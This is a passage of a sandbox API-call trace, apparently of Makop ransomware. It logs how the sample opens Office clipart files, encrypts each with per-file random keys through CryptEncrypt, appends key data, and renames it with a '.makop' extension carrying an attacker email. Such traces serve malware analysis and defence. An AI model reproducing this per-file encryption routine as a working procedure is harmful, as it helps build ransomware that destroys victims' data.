param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF") returned 63 [0135.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.904] GetProcessHeap () returned 0x48a0000 [0135.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.904] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.905] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0135.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.909] GetProcessHeap () returned 0x48a0000 [0135.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.909] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.910] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.910] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20e4, lpOverlapped=0x0) returned 1 [0135.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0) returned 1 [0135.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20f0, lpOverlapped=0x0) returned 1 [0135.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.912] SetEndOfFile (hFile=0xf0) returned 1 [0135.918] GetProcessHeap () returned 0x48a0000 [0135.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.918] GetProcessHeap () returned 0x48a0000 [0135.919] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.919] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.921] CloseHandle (hObject=0xf0) returned 1 [0135.921] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0135.921] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF") returned 63 [0135.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.922] GetProcessHeap () returned 0x48a0000 [0135.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.922] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.927] GetProcessHeap () returned 0x48a0000 [0135.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.928] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b38, lpOverlapped=0x0) returned 1 [0135.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b40) returned 1 [0135.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b40, lpOverlapped=0x0) returned 1 [0135.930] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.931] SetEndOfFile (hFile=0xf0) returned 1 [0135.937] GetProcessHeap () returned 0x48a0000 [0135.937] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.937] GetProcessHeap () returned 0x48a0000 [0135.937] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.938] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.940] CloseHandle (hObject=0xf0) returned 1 [0135.940] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0135.940] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG") returned 63 [0135.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.942] GetProcessHeap () returned 0x48a0000 [0135.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0135.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.946] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.947] GetProcessHeap () returned 0x48a0000 [0135.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.947] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.948] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.948] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x911a, lpOverlapped=0x0) returned 1 [0135.950] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9120, dwBufLen=0x9120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9120) returned 1 [0135.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9120, lpOverlapped=0x0) returned 1 [0135.951] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.951] SetEndOfFile (hFile=0xf0) returned 1 [0135.958] GetProcessHeap () returned 0x48a0000 [0135.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.958] GetProcessHeap () returned 0x48a0000 [0135.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.958] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.960] CloseHandle (hObject=0xf0) returned 1 [0135.960] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0135.960] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG") returned 63 [0135.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.961] GetProcessHeap () returned 0x48a0000 [0135.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.961] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0135.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.966] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.966] GetProcessHeap () returned 0x48a0000 [0135.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.967] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa75a, lpOverlapped=0x0) returned 1 [0135.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa760, dwBufLen=0xa760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa760) returned 1 [0135.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa760, lpOverlapped=0x0) returned 1 [0135.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.970] SetEndOfFile (hFile=0xf0) returned 1 [0135.977] GetProcessHeap () returned 0x48a0000 [0135.977] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.977] GetProcessHeap () returned 0x48a0000 [0135.977] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.978] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 